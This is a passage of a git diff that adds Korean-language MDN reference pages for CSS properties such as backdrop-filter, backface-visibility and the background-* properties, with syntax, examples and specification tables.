+<pre class="brush: css">/* List types require the case sensitive flag due to a quirk in how HTML treats the type attribute. */
+ol[type="a"] {
+  list-style-type: lower-alpha;
+  background: red;
+}
+
+ol[type="a" s] {
+  list-style-type: lower-alpha;
+  background: lime;
+}
+
+ol[type="A" s] {
+  list-style-type: upper-alpha;
+  background: lime;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html;">&lt;ol type="A"&gt;
+  &lt;li&gt;Example list&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("HTML_정렬_목록")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>특성값 내에 존재하는 ASCII 문자의 대소문자를 구분하지 않는 수식자(modifier)를 추가하였습니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.attribute")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS {{cssxref("attr")}} 함수</li>
+</ul>
diff --git a/files/ko/web/css/backdrop-filter/index.html b/files/ko/web/css/backdrop-filter/index.html
new file mode 100644
index 0000000000..62921e2fcc
--- /dev/null
+++ b/files/ko/web/css/backdrop-filter/index.html
@@ -0,0 +1,146 @@
+---
+title: backdrop-filter
+slug: Web/CSS/backdrop-filter
+tags:
+  - CSS
+  - CSS Property
+  - Graphics
+  - Layout
+  - Reference
+  - SVG
+  - SVG Filter
+  - Web
+  - 'recipe:css-property'
+translation_of: Web/CSS/backdrop-filter
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>backdrop-filter</code></strong>는 요소 뒤 영역에 흐림이나 색상 시프트 등 그래픽 효과를 적용할 수 있는 속성입니다.</span> 요소 "뒤"에 적용하기 때문에, 효과를 확인하려면 요소나 요소의 배경을 적어도 반투명하게는 설정해야 합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+backdrop-filter: none;
+
+/* SVG 필터를 가리키는 URL */
+backdrop-filter: url(commonfilters.svg#filter);
+
+/* &lt;filter-function&gt; 값 */
+backdrop-filter: blur(2px);
+backdrop-filter: brightness(60%);
+backdrop-filter: contrast(40%);
+backdrop-filter: drop-shadow(4px 4px 10px blue);
+backdrop-filter: grayscale(30%);
+backdrop-filter: hue-rotate(120deg);
+backdrop-filter: invert(70%);
+backdrop-filter: opacity(20%);
+backdrop-filter: sepia(90%);
+backdrop-filter: saturate(80%);
+
+/* 다중 필터 */
+backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%);
+
+/* 전역 값 */
+backdrop-filter: inherit;
+backdrop-filter: initial;
+backdrop-filter: unset;
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>뒤에 아무런 필터도 적용하지 않습니다.</dd>
+ <dt><code>&lt;filter-function-list&gt;</code></dt>
+ <dd>뒤에 적용할 {{cssxref("&lt;filter-function&gt;")}} 또는 <a href="/en-US/docs/Web/SVG/Element/filter">SVG필터</a>의 공백 구분 목록입니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.box {
+  background-color: rgba(255, 255, 255, 0.3);
+  border-radius: 5px;
+  font-family: sans-serif;
+  text-align: center;
+  line-height: 1;
+ -webkit-backdrop-filter: blur(10px);
+  backdrop-filter: blur(10px);
+  max-width: 50%;
+  max-height: 50%;
+  padding: 20px 40px;
+}
+
+html,
+body {
+  height: 100%;
+  width: 100%;
+}
+
+body {
+  background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172));
+  background-position: center center;
+  background-repeat: no-repeat;
+  background-size: cover;
+}
+
+.container {
+  align-items: center;
+  display: flex;
+  justify-content: center;
+  height: 100%;
+  width: 100%;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+  &lt;div class="box"&gt;
+    &lt;p&gt;backdrop-filter: blur(10px)&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 600, 400)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 2.0', '#BackdropFilterProperty', 'backdrop-filter')}}</td>
+   <td>{{Spec2('Filters 2.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.backdrop-filter")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("filter")}}</li>
+</ul>
diff --git a/files/ko/web/css/backface-visibility/index.html b/files/ko/web/css/backface-visibility/index.html
new file mode 100644
index 0000000000..49c365e5f9
--- /dev/null
+++ b/files/ko/web/css/backface-visibility/index.html
@@ -0,0 +1,217 @@
+---
+title: backface-visibility
+slug: Web/CSS/backface-visibility
+tags:
+  - CSS
+  - CSS Property
+  - CSS Transforms
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/backface-visibility
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>backface-visibility</code></strong> 속성은 요소의 뒷면이 사용자를 향할 때 보여야 하는지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}</div>
+
+
+
+<p>요소의 뒷면은 앞면의 거울상입니다. 2D 상태에서는 볼 수 없지만 변형을 통해 3D 공간에서 회전되면 노출될 수 있습니다. (2D 변형에는 원근이 없으므로 효과가 없습니다.)</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+backface-visibility: visible;
+backface-visibility: hidden;
+
+/* 전역 값 */
+backface-visibility: inherit;
+backface-visibility: initial;
+backface-visibility: unset;</pre>
+
+<p><code>backface-visibility</code> 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>뒷면이 사용자를 향하면 보입니다.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>뒷면이 사용자를 향해도 보이지 않습니다. 요소가 뒤를 향하면 사용자로부터 숨기는 것과 같습니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="육면체의_뒷면_비교">육면체의 뒷면 비교</h3>
+
+<p>아래 예제는 투명한 뒷면의 육면체와 불투명한 뒷면의 육면체를 하나씩 보입니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;&lt;code&gt;backface-visibility: visible;&lt;/code&gt;&lt;/th&gt;
+    &lt;th&gt;&lt;code&gt;backface-visibility: hidden;&lt;/code&gt;&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;
+      &lt;div class="container"&gt;
+        &lt;div class="cube showbf"&gt;
+          &lt;div class="face front"&gt;1&lt;/div&gt;
+          &lt;div class="face back"&gt;2&lt;/div&gt;
+          &lt;div class="face right"&gt;3&lt;/div&gt;
+          &lt;div class="face left"&gt;4&lt;/div&gt;
+          &lt;div class="face top"&gt;5&lt;/div&gt;
+          &lt;div class="face bottom"&gt;6&lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;p&gt;
+        Since all faces are partially transparent,
+        the back faces (2, 4, 5) are visible
+        through the front faces (1, 3, 6).
+      &lt;/p&gt;
+    &lt;/td&gt;
+    &lt;td&gt;
+      &lt;div class="container"&gt;
+        &lt;div class="cube hidebf"&gt;
+          &lt;div class="face front"&gt;1&lt;/div&gt;
+          &lt;div class="face back"&gt;2&lt;/div&gt;
+          &lt;div class="face right"&gt;3&lt;/div&gt;
+          &lt;div class="face left"&gt;4&lt;/div&gt;
+          &lt;div class="face top"&gt;5&lt;/div&gt;
+          &lt;div class="face bottom"&gt;6&lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;p&gt;
+        The three back faces (2, 4, 5) are
+        hidden.
+      &lt;/p&gt;
+    &lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">/* Classes that will show or hide the
+   three back faces of the "cube" */
+.showbf div {
+  backface-visibility: visible;
+}
+
+.hidebf div {
+  backface-visibility: hidden;
+}
+
+/* Define the container div, the cube div, and a generic face */
+.container {
+  width: 150px;
+  height: 150px;
+  margin: 75px 0 0 75px;
+  border: none;
+}
+
+.cube {
+  width: 100%;
+  height: 100%;
+  perspective: 550px;
+  perspective-origin: 150% 150%;
+  transform-style: preserve-3d;
+}
+
+.face {
+  display: block;
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  border: none;
+  line-height: 100px;
+  font-family: sans-serif;
+  font-size: 60px;
+  color: white;
+  text-align: center;
+}
+
+/* Define each face based on direction */
+.front {
+  background: rgba(0, 0, 0, 0.3);
+  transform: translateZ(50px);
+}
+
+.back {
+  background: rgba(0, 255, 0, 1);
+  color: black;
+  transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+  background: rgba(196, 0, 0, 0.7);
+  transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+  background: rgba(0, 0, 196, 0.7);
+  transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+  background: rgba(196, 196, 0, 0.7);
+  transform: rotateX(90deg) translateZ(50px);
+}
+
+.bottom {
+  background: rgba(196, 0, 196, 0.7);
+  transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Make the table a little nicer */
+th, p, td {
+  background-color: #EEEEEE;
+  margin: 0px;
+  padding: 6px;
+  font-family: sans-serif;
+  text-align: left;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('육면체의_뒷면_비교', '100%', 360)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#propdef-backface-visibility', 'backface-visibility')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.backface-visibility")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">CSS 변형 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/background-attachment/index.html b/files/ko/web/css/background-attachment/index.html
new file mode 100644
index 0000000000..a72fce431f
--- /dev/null
+++ b/files/ko/web/css/background-attachment/index.html
@@ -0,0 +1,153 @@
+---
+title: background-attachment
+slug: Web/CSS/background-attachment
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/background-attachment
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/CSS">CSS</a> <strong><code>background-attachment</code></strong> 속성은 배경 이미지를 {{glossary("viewport", "뷰포트")}} 내에서 고정할지, 아니면 자신의 컨테이닝 블록과 함께 스크롤할지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-attachment.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+background-attachment: scroll;
+background-attachment: fixed;
+background-attachment: local;
+
+/* 전역 값 */
+background-attachment: inherit;
+background-attachment: initial;
+background-attachment: unset;
+</pre>
+
+<p><code>background-attachment</code> 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>fixed</code></dt>
+ <dd>배경을 뷰포트에 대해 고정합니다. 요소에 스크롤이 존재해도 배경은 함께 스크롤되지 않습니다. 이 값은 {{cssxref("background-clip", "background-clip: text", "#text")}}와 호환되지 않습니다.</dd>
+ <dt><code>local</code></dt>
+ <dd>배경을 요소 콘텐츠에 대해 고정합니다. 요소에 스크롤이 존재하면 배경은 콘텐츠와 함께 스크롤됩니다. 배경 페인트 영역과 배경 위치 영역은 테두리 틀이 아닌 스크롤 가능 영역을 기준점으로 삼습니다.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>배경을 요소 자체에 대해 고정합니다. 요소에 스크롤이 존재해도 배경은 함께 스크롤되지 않습니다. 즉 요소의 테두리에 배경 이미지를 부착한 것과 같은 효과입니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css; highlight:[3]; notranslate">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("간단한_예제")}}</p>
+
+<h3 id="다중_배경_이미지">다중 배경 이미지</h3>
+
+<p><code>background-attachment</code>는 다중 배경 이미지를 지원합니다. 각 배경에 대해 <code>&lt;attachment&gt;</code>를 지정하려면 쉼표로 구분하여 다수의 값을 제공하세요. 주어진 순서대로 배경에 적용합니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css; highlight:[3]; notranslate">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"),
+      url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("다중_배경_이미지")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>The shorthand property has been extended to support multiple backgrounds and the <code>local</code> value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>No significant change.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.background-attachment")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">한 번에 여러 배경 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/background-clip/index.html b/files/ko/web/css/background-clip/index.html
new file mode 100644
index 0000000000..07d3676b80
--- /dev/null
+++ b/files/ko/web/css/background-clip/index.html
@@ -0,0 +1,129 @@
+---
+title: background-clip
+slug: Web/CSS/background-clip
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/background-clip
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>background-clip</code></strong> 속성은 요소의 배경이 테두리, 안쪽 여백, 콘텐츠 상자 중 어디까지 차지할 지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-clip.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>요소가 {{cssxref("background-image")}} 또는 {{cssxref("background-color")}}를 가지지 않으면, <code>background-clip</code>은 ({{cssxref("border-style")}} 또는 {{cssxref("border-image")}} 등으로 인해) 테두리에 투명하거나 반투명한 부분이 존재하는 경우에만 시각적 차이가 발생합니다. 그렇지 않은 경우 테두리가 차이점을 가립니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+background-clip: border-box;
+background-clip: padding-box;
+background-clip: content-box;
+background-clip: text;
+
+/* 전역 값 */
+background-clip: inherit;
+background-clip: initial;
+background-clip: unset;
+</pre>
+
+<h3 class="brush: css" id="값">값</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>배경이 테두리의 바깥 경계까지 차지합니다. (Z축 순서 상 테두리 아래 위치)</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>배경이 안쪽 여백의 바깥 경계까지 차지합니다. 테두리 밑에는 배경을 그리지 않습니다.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>배경을 콘텐츠 상자에 맞춰 그립니다.</dd>
+ <dt><code id="text">text</code> {{experimental_inline}}</dt>
+ <dd>배경을 전경 텍스트 위에만 그립니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p class="border-box"&gt;The background extends behind the border.&lt;/p&gt;
+&lt;p class="padding-box"&gt;The background extends to the inside edge of the border.&lt;/p&gt;
+&lt;p class="content-box"&gt;The background extends only to the edge of the content box.&lt;/p&gt;
+&lt;p class="text"&gt;The background is clipped to the foreground text.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  border: .8em darkviolet;
+  border-style: dotted double;
+  margin: 1em 0;
+  padding: 1.4em;
+  background: linear-gradient(60deg, red, yellow, red, yellow, red);
+  font: 900 1.2em sans-serif;
+  text-decoration: underline;
+}
+
+.border-box { background-clip: border-box; }
+.padding-box { background-clip: padding-box; }
+.content-box { background-clip: content-box; }
+
+.text {
+  background-clip: text;
+  -webkit-background-clip: text;
+  color: rgba(0,0,0,.2);
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 600, 580)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-clip', 'background-clip')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Backgrounds', '#background-clip', 'background-clip')}}</td>
+   <td>{{Spec2('CSS4 Backgrounds')}}</td>
+   <td>Add <code>text</code> value.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.background-clip")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("clip-path")}} 속성은 배경 뿐 아니라 하나의 <u>요소 전체</u>에서 표시할 부분을 지정하는 클리핑 영역을 생성합니다.</li>
+ <li>배경 속성: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS 기본 박스 모델 입문</a></li>
+</ul>
diff --git a/files/ko/web/css/background-color/index.html b/files/ko/web/css/background-color/index.html
new file mode 100644
index 0000000000..d0e7402d56
--- /dev/null
+++ b/files/ko/web/css/background-color/index.html
@@ -0,0 +1,169 @@
+---
+title: background-color
+slug: Web/CSS/background-color
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Graphics
+  - HTML Colors
+  - HTML Styles
+  - Layout
+  - Reference
+  - Styles
+  - Styling HTML
+translation_of: Web/CSS/background-color
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en/CSS" title="CSS">CSS</a> <strong><code>background-color</code></strong> 속성은 요소의 배경 색을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css notranslate">/* 키워드 값 */
+background-color: red;
+background-color: indigo;
+
+/* 16진수 값 */
+background-color: #bbff00;    /* 완전 불투명 */
+background-color: #bf0;       /* 완전 불투명 단축 */
+background-color: #11ffee00;  /* 완전 투명 */
+background-color: #1fe0;      /* 완전 투명 단축 */
+background-color: #11ffeeff;  /* 완전 불투명 */
+background-color: #1fef;      /* 완전 불투명 단축 */
+
+/* RGB 값 */
+background-color: rgb(255, 255, 128);        /* 완전 불투명 */
+background-color: rgba(117, 190, 218, 0.5);  /* 50% 불투명도 */
+
+/* HSL 값 */
+background-color: hsl(50, 33%, 25%);         /* 완전 불투명 */
+background-color: hsla(50, 33%, 25%, 0.75);  /* 75% 불투명도 */
+
+/* 특별 키워드 값 */
+background-color: currentcolor;
+background-color: transparent;
+
+/* 전역 값 */
+background-color: inherit;
+background-color: initial;
+background-color: unset;</pre>
+
+<p><code>background-color</code> 속성은 하나의 {{cssxref("&lt;color&gt;")}} 값을 사용해 지정합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("color")}}</dt>
+ <dd>요소의 배경으로 사용할 단일 색상입니다. {{cssxref("background-image")}} 뒤에 렌더링 되므로, 이미지가 투명한 부분을 가지고 있으면 그 곳을 통해 볼 수 있습니다.</dd>
+</dl>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.</p>
+
+<p>색상 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 <a href="https://www.w3.org/WAI/standards-guidelines/wcag/" rel="noopener">웹 콘텐츠 접근성 가이드라인</a>(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 <a href="/ko/docs/Web/CSS/font-weight">굵은</a> 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="exampleone"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exampletwo"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="examplethree"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[2,7,12,17]; notranslate">.exampleone {
+  background-color: teal;
+  color: white;
+}
+
+.exampletwo {
+  background-color: rgb(153,102,153);
+  color: rgb(255,255,204);
+}
+
+.examplethree {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제","200","150")}}</p>
+
+<ul>
+</ul>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">주석</th>
+   <th scope="col">피드백</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#background-color', 'background-color') }}</td>
+   <td>Though technically removing the <code>transparent</code> keyword, this doesn't change anything as it has been incorporated as a true {{cssxref("&lt;color&gt;")}}</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/labels/css-backgrounds-3">Backgrounds Level 3 GitHub issues</a></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color') }}</td>
+   <td>No change.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#background-color', 'background-color') }}</td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.background-color")}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">더 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">한 번에 여러 배경 사용하기</a></li>
+ <li>{{cssxref("&lt;color&gt;")}} 자료형</li>
+ <li>색상 관련 다른 속성: {{cssxref("color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li>
+ <li><a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색입히기</a></li>
+</ul>
diff --git a/files/ko/web/css/background-image/index.html b/files/ko/web/css/background-image/index.html
new file mode 100644
index 0000000000..0fce6c9b93
--- /dev/null
+++ b/files/ko/web/css/background-image/index.html
@@ -0,0 +1,152 @@
+---
+title: background-image
+slug: Web/CSS/background-image
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/background-image
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>background-image</code></strong> 속성은 요소의 배경 이미지를 한 개나 여러 개 지정합니다.</p>
+
